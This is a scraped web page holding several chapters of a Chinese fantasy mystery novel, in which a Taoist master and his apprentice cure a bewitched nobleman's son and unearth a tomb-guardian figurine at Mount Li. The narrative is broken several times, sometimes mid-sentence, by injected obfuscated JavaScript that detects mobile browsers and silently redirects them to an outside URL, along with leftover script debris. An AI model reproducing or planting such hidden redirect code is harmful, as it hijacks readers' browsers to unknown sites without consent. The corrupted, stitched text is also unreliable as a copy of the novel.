蚯蚓立时段成了两截,那两截又扭动了两下,才皆化成了两缕黑烟,随风飘散了。 这下终于结束了,烟霞客点了点头。 众人围上前来,高大人飞扑而去,扶起他儿子:“儿啊……你受苦了……” 高湛痛苦地呻吟了两声,费力地眨了眨眼,好像还了魂,瞳孔之中恢复了神采,结结巴巴道:“爹……爹……我要喝水……” “水!拿水啊!” 高府的下人又乱作一团,高湛这癔症好了,却是全府上下欢欣鼓舞。 高大人热泪盈眶,语带哽咽,向烟霞客和舒慈深深行了个礼:“烟霞真人,这位姑娘,多谢多谢!” “高大人客气了。”烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她又瞟了一眼烟霞客,见他抱手合眼,作事不关己状,既不骂人,也没打算用桃木剑敲她,便知道自己的思路没错,又顺着说下去: “高公子又杀了巨虫,误以为自己杀的是牡丹。然后,便是有人作法,在那死虫子上施加了幻术,将虫子变为了一摊白骨…… “高公子见了那白骨,又被加强了暗示,更加确信是自己杀了牡丹,悲伤内疚过度,这才失了神智。 “因此,高公子从头到尾都没杀过人,他杀的只有虫子。” 烟霞客听完,睁开眼睛,捋了捋胡子:“哼哼,不错,大理寺没白去,是比以前聪明不少。” 高大人听完目瞪口呆,想了一会怒道:“这来驱魔辟邪的晁不疑竟然是个骗子?!” 这不仅是个骗子,那幻蛊说不定都是他下的呢。舒慈心中骂道。 “不,”烟霞客却收起了散漫的神情,突然严肃认真道,“他不是骗子。” 其余二人惊呆,瞪着眼,等着烟霞客将话说完。 “此人的幻术极为精湛,刚刚我与呆徒用的是金光现形阵——大唐需我用上此术的人不出三个。”他语气上竟有几分忧虑,“他那幻蛊,亦是精心培养,害人于无形。 “听说此人来自倭国,我想他一定精通两国阴阳之术,才有此深厚功力。 “不过,他为何要用这异术为难高大人——”他话锋一转,又恢复了百无聊赖的神情,“就跟我没关系了!” 23. 第十六回 胡左胡右 高大人脸上一阵青一阵白,最后涨红脸,又谢过烟霞客。 烟霞客早就呆得索然无味,两手一抱,全当行了个告辞礼。 舒慈却一欠身,将那土坑里的巨虫尸体装进包袱里。 “你要那玩意儿干嘛?”烟霞客面露厌恶,“泡酒啊?恶心不恶心?” 泡了给你喝!舒慈心中顶嘴道,但嘴里却说的是:“师父您是来斗法的,我是来破案的。您就不好奇这虫子是什么吗?” 烟霞客是一点都不想搭理她了,胡乱摇摇头,二人便往外走。 一出高府的大门,却见杜月恒不知道什么时候已经候在不远处,身边还立着两个小山一样高大的汉子。 那二人俱是身材彪悍,身长过六尺,梳盘头长编——舒慈看得眼熟,这不是胡阿烈身边的哼哈二将吗? 正疑惑间,杜月恒瞧见他们,挥着手激动地大喊:“舒姑娘!师父!这边!这边!” 不等舒慈开口发问,杜月恒便亲热地唤道:“师父!今天这斗法斗得怎么样?铁定咱们烟霞真人大获全胜,您说,我说的对不对?” 这恭维烟霞客受用得很,嘴角快要咧到耳根,大笑道:“那是自然,区区东洋邪术,怎能与我烟霞真人相提并论!” 杜月恒听了激动得很,找了间茶铺,硬要听烟霞客将这故事从头道来。 五人落座,烟霞客便自顾自地讲起高府今日发生种种——自己如何祛除那倭国幻术,如何大战幻蛊三百回合,如何救高公子性命于危难之中,等等等等。 这故事烟霞客讲得眉飞色舞,唾沫横飞,也只有杜月恒听得如痴如醉,津津有味。 舒慈听他说得天花乱坠,夸大其词,心中极为不屑,甚至生出一丝困意。 却见杜月恒身边的那两个汉子听得也是抓耳挠腮,火急火燎,额头上渗出一层细汗,看上去很是着急。 舒慈思忖道,定是那胡阿烈唤这二人查了晁不疑,又遇到了什么难题才又找上了杜月恒。但这杜月恒为何又要带着这二人赖上烟霞客呢? 她便给她手舞足蹈的师父的茶杯添上水,又给那二位汉子倒水。 舒慈接过杜月恒的杯子时,杜月恒一边点着头迎着烟霞客的话,一边不着痕迹地冲她眨了眨眼睛。 这杜月恒心里又在打什么鬼主意? 烟霞客说得口干舌燥,喝了口茶水,当做中场休息。 杜月恒立刻打蛇随棍上,奉承道:“烟霞师父果真厉害!不愧是我大唐数一数二的上人天师!” “哎,此话差矣,”舒慈帮腔道,想要看看这杜月恒到底什么意思,“咱们师父啊——只可数一不可数二!” “好好好,”烟霞客被逗得心花怒放,哈哈大笑,拿起酒葫芦,把三人茶杯里的水倒了,又将酒倒进三人杯中:“茶杯作酒杯,好徒儿们,咱们喝一个!” 三人举杯,一饮而尽。 喝了这酒,杜月恒终于图穷而匕首现:“烟霞师父,我这两位兄弟最近也遇到怪事一桩,还请师父答疑解惑。” “你小子机灵,在这等着我呢?”烟霞客扬起茶杯,不恼反笑,“说罢!什么事!” 那两名彪形大汉相互对视一眼,却憋得满脸通红,皆是期期艾艾道:“陶的飞的……陶俑……会动……” 舒慈见他们说话吞吞吐吐,又是询问半天,才弄明白这两名大汉正是胡阿烈的堂兄弟,从波斯而来,一个唐语名唤胡左,一个名唤胡右。 二人来大唐寻生计,便在胡阿烈手低下当起了万年县的不良人。 虽这三人都参与了绑架敖瑞与杜月恒一事,胡阿烈却将全部责任一人担下。胡左胡右二人在牢里呆了三天便重获自由。 这二人光是自我介绍都说了快半刻钟,烟霞客很快听得厌烦了,面露不快。 杜月恒赶忙解释道:“师父,我这两位兄弟唐话不流利,还请您见谅。” 接着,他便将这二人的奇遇整理一番,向烟霞客和舒慈从头细细讲来—— 却说舒慈和杜月恒那日没有寻到柳容烟,玉莲便把二人怀疑晁不疑一事告知了胡阿烈。 胡阿烈便派左右二人日夜跟踪那晁不疑,看看他究竟是个什么人物。 这左右二人,虽然唐语不佳,反应迟缓,但老实听话,唯胡阿烈马首是瞻,于是,二人昼夜不停,轮班盯梢起了晁不疑。 一开始的两日,那晁不疑还是行事正常,每日按时准点去秘书监处点卯当差。 但就在前日半夜,二人又寻了一处隐秘之所,监视着晁不疑所住的四方馆。 却是倏地风起云涌,月色霎时晦暗,挂在街市上的酒幔青旗被凉风灌得猎猎作响,正是将要天降大雨。 那晁不疑却在此时从四方馆溜出来,骑了马向城东而去。 他神色紧张,十分可疑,二人便也立刻上马尾随。 行至延兴门,晁不疑竟掏出了过关的文牒,又往城外疾驰而去。 胡左胡右出示了不良人的文牒,继续跟上。 出城不出一里地,一道闪电划破天际,天降惊雷,骤然下起了倾盆大雨。 晁不疑速度不减,越骑越远,二人不知不觉间竟跟到了骊山脚下。 他骑在马上,缓缓在雨中踱了两圈,似乎在找着什么地方,终于停下来,下了马。 胡左胡右将马停在远处,雨下得太大,视线不佳,二人只能蹑手蹑脚地上前,躲在灌木丛里,想要看个究竟。 幸好暴雨如注,天生的水帘将二人彪悍的身形隐藏在夜幕中。雷声大作,又将二人的脚步和喘息声盖了个干干净净。 只见晁不疑顶着磅礴大雨,先是张开双手朝天,嘴巴一张一合,似在念念有词。又跪在地上,磕了几个头。 接着,他又掏出了一把匕首—— 一道闪电惊雷,那匕首刚好映出天雷电光。 他手一挥,向着自己的手腕割了一刀,鲜血混着雨水,顺着他的指尖滴落在土里—— “轰隆隆——” 胡左胡右起先以为那是雷鸣,却发现,晁不疑身前渐渐隆起一座巨大的土堆,像是一座小山凭空长了起来—— 那是大地里面传来的声音。 那土堆越长越大,又是一道惊雷落下—— “轰——” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833349|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >只见那土堆里,先是爬出两只巨大的兽爪,那形状似鹰非鹰,似虎非虎。那双爪子又挣扎着带出一截身子,插着双翼,似马非马,似牛非牛。然后,它又从土里抽出了自己的头——明明是一幅人的模样,却是双眼凸起,青面獠牙,口吐长舌,又有一对尖利的兽角,似羊非羊,似鹿非鹿。 那怪物在雨中甩了甩身上的土,水花四溅,居然出声对晁不疑道:“汝又来了。” 那声音像巨石滑落山间,震天动地,连胡左胡右也听得一清二楚。 “轰——” 雷声亦是掩了晁不疑的声音,只能看见他嘴唇上下翻动,回答那怪物。 那怪物点了点头,却没有动,静静地与晁不疑相对而立,突然又开口道: “还有人——” 于是,它那罗刹恶鬼般的脸转了过来。 ——它看见了胡左胡右。 它立刻缓缓拍着翅膀,起飞至半空,倏地便向二人俯冲而来。 二人来不及反应,转身拔腿就跑。 不想,脚下湿滑,胡左竟在这关键时刻摔了个趔趄。 那怪物向他而来,他惊慌失措,刚想爬起—— “轰——” 又是一道闪电落在天际,借着这电光雷影,胡左这才看清—— 那怪物身上涂满了黄、绿、白、蓝、黑、赭各色油彩,却是颜色暗淡,五彩斑斓剥落斑斑,里面是土黄的颜色—— 那是陶胚。 ——这是一只陶俑! “啊!!” 胡左三魂七魄吓掉,五脏六腑全无,腿脚发软,栽在地上竟是起不来了。 那怪物用爪子朝胡左胸前狠狠一踢,胡左下意识伸手一挡,手臂立刻叫它抓出了一道鲜血淋漓的伤口。 好在胡右还算镇定,瞧这怪物身形虽大,但速度不快,飞身将胡左拉起,没了命似的跑啊跑。 二人终于翻身上马,幸好那怪物没有再跟上,二人慌不择路,回了长安城。 第二天一早,二人便去找了胡阿烈,胡阿烈听这事情诡异,自己一时半会又出不了这大牢,便让他们来找了杜月恒。 ——杜月恒讲完这故事,胡左胡右二人又打了个寒战,好似还在后怕。 烟霞客一开始听得无精打采,只觉得这事与他无关。 胡左怕他不信,伸出一只手,挽起袖子,给众人展示他那伤口——快要有半尺,堪堪结疤,煞是骇人。 烟霞客听到这晁不疑疑似作法弄出了一只怪物,来了兴致,眉头紧锁,似在思考,好半天才吐出几个字:“有趣,有趣。” 还没弄明白柳容烟下落,又冒出这怪物陶俑。舒慈心烦意乱,却跳出一个念头: “这怪物陶俑从地底下冒出来……不会是镇墓兽吧?” 杜月恒显然是揣摩了这故事很久,满意地点点头,与舒慈一拍即合:“这事发生在骊山,舒姑娘,那骊山之下还能有旁的什么吗?” 在场只有胡左胡右还是一片茫然,异口同声发出“啊?”的声音。 烟霞客这下是真的不耐烦了,道:“那是秦始皇陵!两个蠢货!” 24. 第十七回 太子 胡左胡右面面相觑,二人来自西域,自然是不知道汉人自古便有在墓穴门口放置陶俑神兽以保佑墓主人死后安宁的习惯。更不知道,大约一千年前,秦岭以北,渭河横贯之处,曾经还有一个强盛的帝国,它的主人正是天下的第一个皇帝——秦始皇。 如今,他正安眠于骊山之下。 “舒姑娘,师父,咱们是不是得去一趟骊山?”杜月恒见气氛忽然严肃沉闷,便开口问道。 舒慈此时忧思重重,见烟霞客一向满不在乎的脸上亦是凝重,听了杜月恒这蠢问题又流露出厌烦之情。她便出声解释道:“杜公子,关中一带,从周天子一统天下至高宗立国,自古以来便是都城之所在。长安城外更是古墓皇陵遍地,因此盗墓贼活动尤为猖獗。 “相传,耀州节度使温韬就曾盗了皇陵十余座,其中甚至有唐太宗的昭陵。可是,一千年过去了,秦始皇陵还未曾有人盗掘,你可知道,这是何故呢?” 杜月恒沉吟半晌答道:“秦始皇陵的准确位置没有典籍记载。只有《史记》中提过,皇陵规模巨大,内设机关防御,又以水银封存。不要说这皇陵找都找不到,即使找到了,普通人进去恐怕也是凶多吉少。” ——司马迁《史记》载,令匠作机驽矢,有所穿近者辄射之。以水银为百川江河大海,机相灌输,上具天文,下具地理。 “没错,”舒慈点了点头,“骊山之下正是如此神秘森严之地……” 如今,却叫一个倭人在其中召出了镇墓兽!这晁不疑究竟有何法术?他又到底有什么目的? “……此事非同小可。”舒慈克制住内心的震撼,又莫名升出一丝不可言状的害怕,“兹事体大,不要说我们三人,怕是大理寺、尚书令来了也难以招架。” 舒慈说完,忍不住瞟了一眼烟霞客——若她师父能够直通圣人面前,或许此事还有转圜的余地。 烟霞客似乎也思及此处,与舒慈对视一眼,点点头,摇摇头道:“既是如此,不管他便是!呆徒,你便该点卯的点卯,该查案的查案。我该修行的修行,该作法的做法。” 他又举起酒葫芦,饮一口酒,长叹一口气道:“所谓车到山前必有路,事情闹大了自然有人会寻我二人!” 杜月恒听得云里雾里,不比胡左胡右二人聪明多少。见师徒二人纷纷起身,便只能跟上。 没想到,刚出了茶铺,行至街市上,却见一群头戴兜鍪,身着缺胯袍锁子甲的神策军朝三人迎面而来。 “不好!”烟霞客低声骂道。 不等几人反应,他便提神运气,又要施展凌波微步,转身欲朝反方向而去。 “烟霞真人——请留步!——东宫有请!” 那领队的神策军见烟霞客起势要跑,立刻高声叫道。 这一声喊,让行人纷纷驻足侧目,热闹的街市鸦雀无声,反倒叫烟霞客不知如何是好,只好硬生生停住了脚步。 只见那领头的头戴凤翅兜鍪,好不神气威风,走到烟霞客跟前便做了个“请”的手势,意思是请烟霞客与他们同去。 “这是什么意思?”烟霞客皱眉,“你们这是请人还是抓人?!” “烟霞真人,在下多有得罪,”那领头的拱手欠身,彬彬有礼道:“太子殿下下了旨,今日就要见到烟霞真人。只是烟霞真人神通广大,这才召了我们几个人来迎。我们也是奉命行事,还请烟霞真人海涵。” 可这话音一落,又上来两名神策军,抽刀半出鞘,闪出几道寒光。 舒慈见这几人竟要威胁烟霞客,便想上前与那领头的辩上两句,却被烟霞客用力一瞪。杜月恒也悄悄出手,将她拉在身边。 这下烟霞客便是非去不可,冷哼一声,又转脸对舒慈道:“呆徒,别忘了我刚才说的话,该点卯的点卯,该查案的查案。”然后伏在杜月恒耳边,用几不可闻的声音道:“替我问你爹好。” 说完,便一甩袖子,背着手,跟着那神策军而去。 神策军一走,街市上又“哄”地一声恢复人声鼎沸,一片哗然。 很快,今日之事就传遍了长安的大街小巷——说那神策军突然绑了一名鹤发童颜,道行了得的道士,定是那太子又寻得了什么真人谪仙,又要给圣人行什么仪式,驱什么妖魔! 这朝堂之事,连民间百姓都传得沸沸扬扬,烟霞客又怎么会不知道呢? 烟霞客跟着那神策军,不出半个时辰,便到了太子靖王李承昭宫中。 殿内此刻,只有太子李承昭一人正坐,拿着一卷书信仔细研读。 他眉头微蹙,神情全神贯注,仿佛浑然不知殿上进来一个人。 烟霞客背着手,板着一张脸,既不出声,也不行礼,只是静静地等着。 过了半炷香的时间,李承昭终于抬头,好像这才注意到烟霞客似的,开口道:“烟霞真人,你来了?” 烟霞客不答。 只见李承昭眉如远山,眼神如利剑出鞘,锋芒毕露,确实是皇子气相。 他只有三十五岁上下,作为一个男人来说,他还很年轻。但对于一个皇帝来说,又有些太迟了——秦始皇统一六国时三十九岁,汉武帝继位时时年十六岁,比之今朝祖先,太宗三十弑兄夺位,开贞观之治;玄宗二十七岁发动唐隆政变,创开元盛世…… ——李承昭等不了了,他沉声问道: “烟霞真人,听说你前日进宫,与圣人探讨道法。” 烟霞客点点头,仍是沉着脸。他不想回答李承昭。 李承昭将手中的书信拿起来,一字一顿地对照念道,“烟霞客行道教祈福仪式后,圣人问:‘传说道祖太上老君活了两百岁,这普天之下是否真有长生不老之法?真人是如何看法?烟霞客答:‘天地间阴阳轮转,便生雌雄。因此生生化化,孕女成男,才能代代更替。此为自然之数,贫道认为,不可易也。’ “圣人问:‘朕请术士炼丹药延年益寿,这处方请烟霞真人过目,真人又是何看法?’烟霞客答:‘丹药为修道之要法,然于长生不老,效用未甚大也’。” 这话正是烟霞客在大殿之上与圣人所说,一字不多,一字不漏。 烟霞客向来是天不怕地不怕的性子,心底竟也生出一丝恐惧,脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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却说舒慈进了大理寺,又往那证物司去,径自就找那佛头石妖。 石妖被放在证物司,困在包袱里将近半个月,早就是昏天黑地,百无聊赖,一重见光明便又开始没完没了:“官奶奶,你终于来了!上次你可是说不把我放进这包袱里面!你可不知道在里面过的是什么年月——今天还是我们天观十六年吗……我以为已经天观一百一十六年啦!” “你今天老实回我的话,”舒慈将它放在桌上,与它那双又鼓又突的眼睛对视道:“我这次说话算话,绝对不把你放进去!” 那佛头瞪她,似乎很不相信:“官奶奶,做人言而有信,你可不能又诓小佛啊……” 舒慈不等它说完,便将那巨虫七零八碎的尸体从包袱里拿到它眼前: “你看看,这东西是不是你那日在青龙寺所见,那女子身体里爬出来的?” “啊!!!” 佛头发出一声惊叫。 25. 第十八回 骊山 “哎哟我的官奶奶!” 那石头佛头只看了一眼,便骇得双目紧闭,嘴角下撇,声音发颤:“这东西又是您从哪里找来的?那日,从那女施主肚子里破腹而出的东西,虽然当时看得不真切,但细细想来确实跟这虫子一模一样……” 舒慈问:“那你今日看得清楚了,这虫子可认得出来是什么?” 那佛头迟缓地睁开一只眼,小心翼翼地扫了一眼:“官奶奶,我那日所见,那虫子似蜈蚣,又比蜈蚣大得多。那日它从那女施主肚子里钻出来,爬行的样子又像蚰蜒,可比蚰蜒还要毛骨悚然……小佛实在不知道是什么东西啊!那日这玩意爬得到处是血……我虽然是石头身体,但要是有皮肤,一定会起鸡皮疙瘩的!你不知道,那场面有多可怕!那女施主实在是可怜啊可怜……南无阿弥多婆夜……” “行了行了,别念了!”舒慈瞧它也说不出什么所以然来,将它拎起来,让它别再聒噪,又问:“我再问你,你之前是不是骊山上的石头?” 那佛头睁开两只眼,见不用再指认那虫子,好似松了口气。又不知舒慈为何此问,眼珠转了一圈,答道:“正是,正是,官奶奶还记得小佛来处,小佛实在惶恐!小的来自骊山……骊山正是因为山势奇特,远看如骏马,因此得名。山环水抱,藏风聚气,这才蕴出小佛这样的精灵神秀……” “好好好,”舒慈听得耳边嗡嗡作响,“那骊山脚下埋着什么,你可知道?” 佛头正滔滔不绝,好像被人打了一巴掌,嘴巴微张,突然之间“啊”地一声收住了声。 “官奶奶,可问的是……那位皇帝的陵墓?” 舒慈点点头:“那你可知道那皇陵的情况?” 那佛头听了竟不说话,只两个眼珠子滴溜溜地乱转,好半天吞吞吐吐几个字:“小佛不知。” 舒慈见它情状有异,定有隐瞒,扭头便作势要走。 “哎哎哎,”佛头急了,“官奶奶您别走啊!小佛还没说完呢!” 舒慈回头瞪它。 “官奶奶,你看你急什么!小佛的意思是,小佛千年以前只是骊山上的一块普通石头,那时未休得灵识,什么都不知道,更别说那秦始皇陵的情况了……” 舒慈转身又要走,那佛头急忙喊道:“……但是!! “骊山风水奇佳,钟灵毓秀,妖才云集!小佛在其中只算得平平无奇……虽然小佛不知秦始皇陵之状,但在这骊山之中,大有比小佛修炼更早的前辈知晓内情……只是……” 佛头的眼珠子停止转动,直勾勾地盯住舒慈,语句中带着不易察觉的狡黠道:“只是,这前辈也不是说见就能见的……不不不,小佛还是不为难官奶奶了啊……” 舒慈快要烦死了。她翻了个白眼,起手拎起它来往包袱里塞:“你今日不把话说明白,就等着一辈子在这包袱里待着吧!” “别别别!”佛头尖叫,“你看你又急!小佛的意思是,只要官奶奶答应我一个条件,我便带你去见那前辈!这前辈几千年几万年就在骊山修炼,对这骊山的一切了若指掌,无所不知,无所不晓,官奶奶问的的一切,这前辈定然都知道……” 舒慈的耐心彻底耗尽,“咚”地一声重重将它搁在桌面上:“那你还不赶紧给我说!” *** 从长安城出发,骑马大约一个时辰,便到了骊山。 舒慈带着敖瑞、三宝,将佛头装进包里带上,又叫上了杜月恒,两人三妖按着胡左胡右画的图纸,往前日目击陶俑怪兽之处而去。 骊山北坡陡峭,南坡缓长,确如佛头所说,远看似青黑色的骏马奔驰,横亘在关中平原,山间云雾缭绕,松柏挺拔,景色秀丽。据民间方士所说,长安位于中龙龙脉之上,九龙聚首,八水环绕。骊山正是九龙之一,也许正是因此,秦始皇陵才会选在骊山脚下。 二人按图索骥到了地方,停马下来。 却见胡左胡右前日所说隆起土堆已经消失,那图上画叉的地方是一块平地,只有几从低矮的灌木,根本不见什么陶俑。 杜月恒绕着这地方转了一圈,一脸不可思议:“这左右二人真没看错吗?这地方这么大,从哪查起啊?” 舒慈胸有成竹,对敖瑞道:“那日晁不疑自割手臂献了鲜血,胡左又被那陶俑抓伤了,你闻闻这地底哪里有血腥味。” 敖瑞听了——或许因为人形的嗅觉不够灵敏——一转身,又成了一只漆黑的猎犬,伏在地上嗅闻了起来。 它在空地内细细闻了一圈,终于“汪汪”了两声,又原地转了两圈,摇起了尾巴,发出人的声音道:“就是这了!” 舒慈满意地点了点头,指着它围着转圈的地方,对敖瑞与杜月恒道:“劳烦二位开挖吧!” 杜月恒闻言一时惊慌,与敖瑞面面相觑。 敖瑞的尾巴也不摇了,猎犬的脸上甚至出现了恐惧:“阿慈姐……不好吧?这下面不是那妖怪吗?” 杜月恒附和地点头。 你不也是妖怪吗,怎么也怕妖怪啊!舒慈心里想着,却是有求于两位壮劳力,只能干笑两声说:“你们放心,听胡左胡右之言,这陶俑应该是受了晁不疑的作法才破土而出,想是并没有灵识的东西。即使是妖怪,平日应该也不会活动,只有受了召唤才会行动。” 杜月恒表情复杂,思考了一会道:“行!舒姑娘,我信你!”便拿着铁锹与敖瑞开挖。 可这陶俑埋得极深,舒慈与三宝也加入,二人两妖足足挖了半个时辰,挖出一个十尺高,五尺宽的大坑,终于才在黄土里挖到它的双角。他们又小心翼翼地剥离上面的泥土,慢慢地在黄土中浮现出陶俑的真身—— 这陶俑足有一人高,头顶一对利角涂得碧绿。人面兽身,兽身漆黑,双翼涂白,已经脱落成了斑斑黑点。眼睛漆朱红,面如罗刹。 正如舒慈所说,这陶俑并不会活动,但烧制得栩栩如生,形状可怖,恍惚之间竟真如厉鬼一般正死死地盯着每一个人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864718|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >众人皆倒吸一口凉气。 舒慈稳住心神,先是用左瞳金光一闪——那陶俑身后空空如也。 如她所料,这怪物陶俑身上没有元神真身,确为一具没有灵识的死物。 那晁不疑又是怎么召唤作法,让这陶俑活动说话的呢?她上前去,仔细地在这怪物身上查找着,果然,在这怪物的腹部,贴着一张符咒。 那纸符上红色印记已经渐渐褪色,中间像是几个汉字交汇组成的图案,外面围着一圈细细的符号,像草书,却又不是唐语。纸张已经发黄发脆,不知被贴在这陶俑上多久了,又叫人施过什么法术,仍旧顽固地粘在怪物的肚子上。 舒慈不敢轻易揭下,只能躺在洞底,叫三宝拿来纸笔,依葫芦画瓢,将这符咒临摹下来。 杜月恒也在一旁观察这陶俑,同样百思不得其解,皱眉道:“这怪兽样子确实是镇墓兽的造型,难道这真的是镇守秦始皇陵的陶俑?” 敖瑞恢复了人形,已经回到了坑外面,伸出一只手,把杜月恒给拉出来。 杜月恒上来了,仍在喃喃自语,“可这也不对啊,镇墓兽一般是成对出现的……还有一只在哪?也在附近吗?为什么晁不疑只作法来了一只?” 敖瑞听不明白,跟他努了努下巴,两人又一起又将临摹好的舒慈从坑里面拉上来。 舒慈上来了,也是皱着眉,举起那临摹的符咒反复思忖,中间的符号她好像在哪见过,却说不上来。 杜月恒站在她跟前,看了眼符咒,却像认出了那符咒,指了指最下面:“长——” “什么长?” 舒慈怀疑地左右调转符咒,但是怎么也看不出一个“长”字来。 杜月恒恍然大悟,将符咒接过来,对着天光,正反颠倒,又按四个方位变化符纸的方向。 舒慈这才明白过来,这符咒中间的符号确实是四个汉字交叠而成,但四个汉字皆是以镜面颠倒所写,又按照东西南北的方向调转写成。 杜月恒一边调转符纸,一边缓缓地念出了那几个字: “九……” “龙……” “长……” “生……” 又是九龙长生! 舒慈震惊地望向杜月恒,杜月恒同样迷惘不解。 “那周围一圈是倭语吗?”舒慈又问,“你看得懂是什么意思吗?” “是倭语。”杜月恒拿着这符咒又看了看,按照倭语假名的读音念了出来。 舒慈满怀希望地看着他。 杜月恒挠了挠头,尴尬一笑:“我只会读,不知道这是什么意思。” “……” “没事,舒姑娘,我回了长安,便找一名倭国留学僧解读。” 舒慈没办法,回了马旁,又将那佛头从包里取出来。 佛头透了口气,刚想与舒慈争论两句,却见了眼前的大坑,惊声尖叫道: “我的官奶奶啊!你们怎的把这东西挖出来了!” 26. 第十八回 骊山(中) “这陶俑到底是什么东西?” “哎哟哟,”那佛头只恨自己不能摇头,只能一个劲叹气,“官奶奶,这可不是普通的陶俑……哎,小佛跟你说不清楚……” “这是不是秦始皇陵的镇墓兽?”杜月恒追问道。 那佛头还是不答,眼珠子鼓出来,反过来问道:“官奶奶,这位又是?” 舒慈知道这佛头是个看人下菜碟的,信口胡诌道:“这也是我缉妖司查案的,你赶紧如实作答!” “好好好,”那佛头眼珠子收回去,“这东西是不是秦始皇陵的镇墓兽,小佛也不清楚……只是在小佛很小很小的时候,曾听过你们那皇帝为了修建陵墓,在山脚下大兴土木。他为了自己往生后的安宁,又请各路方士,在这施了各种法术,叫人不能轻易盗掘……那时候似乎搅得骊山很不得安宁,弄得娘娘也很不愉快……” 杜月恒既没见过会说话的石佛头,更没见过如此罗里吧嗦的石佛头,忍不住不耐烦地打断道:“什么娘娘?那跟这陶俑有什么关系?” “哎呀,这位官爷爷,您别急嘛,”佛头赔笑道,“据我姥姥说,那皇帝下葬不久,路过的行人经过北麓时,曾见过一次怪物……说那怪物会飞,长角,看着跟陶俑似的,把那人吓得满山乱窜。不知怎的,传着传着,就传成了骊山上会闹鬼……这事情闹得大了,附近的百姓都跑到娘娘庙拜拜。惊动了娘娘满骊山地查……只是后来,就再也没见过这东西了——没想到今天,叫二位给挖出来了!” 舒慈问:“到底什么是娘娘?” “这娘娘嘛,正是小佛前日与官奶奶所说的前辈……” 杜月恒无语:“那这陶俑不就是秦始皇陵的镇墓兽吗?!” “啧,小佛不敢武断,骊山向来是风水宝地,可不好说是不是还有旁的什么神奇精怪……这具体是怎么回事,还得问问娘娘……” 敖瑞惊讶:“你还有姥姥?——你不是块石头吗?” “哎哟,”佛头神情甚至有些得意,“犬施主你有所不知,这骊山之中气韵非凡,每一块石头都是数千年数万年形成的,但是,我们都出自骊山,都有母亲,母亲也有母亲的母亲——那就是骊山娘娘……” “行了行了,”舒慈见敖瑞听得入神,摇了摇佛头,“你赶紧带路吧!” 那佛头挤眉弄眼:“小佛带路,可以是可以的……但是,官奶奶你可别忘了昨日与小佛说好的,君子一言驷马难追……” “闭嘴吧!”舒慈快被这佛头吵晕了,“我答应过你的自然不会忘!走吧!” 那佛头满意了,便由舒慈将它抱在前面,它发出指令,一行人先将马停在山脚,换了一条石阶路,从北面往骊山高处爬。 石阶陡峭,如一条灰白的天梯,顺着一团翠绿的山体蜿蜒而上。 已过未时,舒慈担心天色渐暗,又怕这佛头耍花招,让三宝先飞至前方。三宝飞回来报告,再走个一炷香的地方,半山腰有一处小庙。佛头连声称那就是娘娘所在之处。 舒慈立马提气运神,加快脚步,抱着那佛头一马当先。 杜月恒虽然热衷读书,但也常玩马球、蹴鞠、射箭,自认为不是个手无缚鸡之力的。可跟在舒慈后面,就是怎么也追不上,脸憋得通红,气喘吁吁。那日他追赶烟霞客和舒慈,便发现这二人脚下是会功夫的,虽然身姿平稳,似在走路,但移动极快,像在地面漂浮一般。 敖瑞化了犬型,在二人之间来回奔走,吐着舌头,玩得开心,又似在催促杜月恒跑得快点。 他忍不住出声道:“舒姑娘……你和师父这是练过的吧?” “首先,烟霞客是我师父,不是你师父。”舒慈答道,脚下却没有停下来的意思,“然后,‘凌波微步,罗袜生尘’,这一招是轻功的入门之法。” 杜月恒脚下走得快冒烟,嘴里随口恭维道:“难怪呢!我看烟霞真人功夫了得,又会那捏诀起火,又会轻功符篆,性子豪爽潇洒,真是想也拜入真人门下!话说回来,舒姑娘,怎的从没见你用过这些招式?烟霞真人这么厉害,你也一定很厉害吧!” 舒慈这才在石阶上停下脚步,回过头干笑两声:“杜公子说笑了,在下的都是些雕虫小技,不足挂齿。” 倒不是因为她良心发现,特地等着杜月恒,全因杜月恒这几句话马屁拍在马脚上——舒慈是真的不会。 她跟着烟霞客学的全是入门招式,除了会这凌波微步、显形符之类的简单法术,烟霞客的本事她是一点没学到——烟霞客这人虽然行事古怪,倒还真不是他不教,而是她学不会。 据烟霞客所说,舒慈一出生便没了父母,被灵虚观的道姑捡了回来。烟霞客见她天生一双异瞳,认定她是学道修行的好苗子,这才收她为徒。可哪知舒慈虽然脑子不笨,但实在不是个有道缘灵根的,除了会用异瞳辩人、妖真身,其他法术无论怎么努力,都只能学个皮毛,时常把烟霞客急得直跺脚。 “烟霞客?”这时,佛头突然出声,拧起眉头作沉思状,“不知为何,这名字小佛好生熟悉,好像在哪听过……烟霞客烟霞客……难道是哪段佛经故事中的人物?” 舒慈怕这一答话,那佛头又东拉西扯,没完没了。等杜月恒赶上来,二人默契地闭嘴,直往那小庙而去。 那小庙在半山腰,规模极小,不说与天仁寺相比,连烟霞客的灵虚观都比不上。 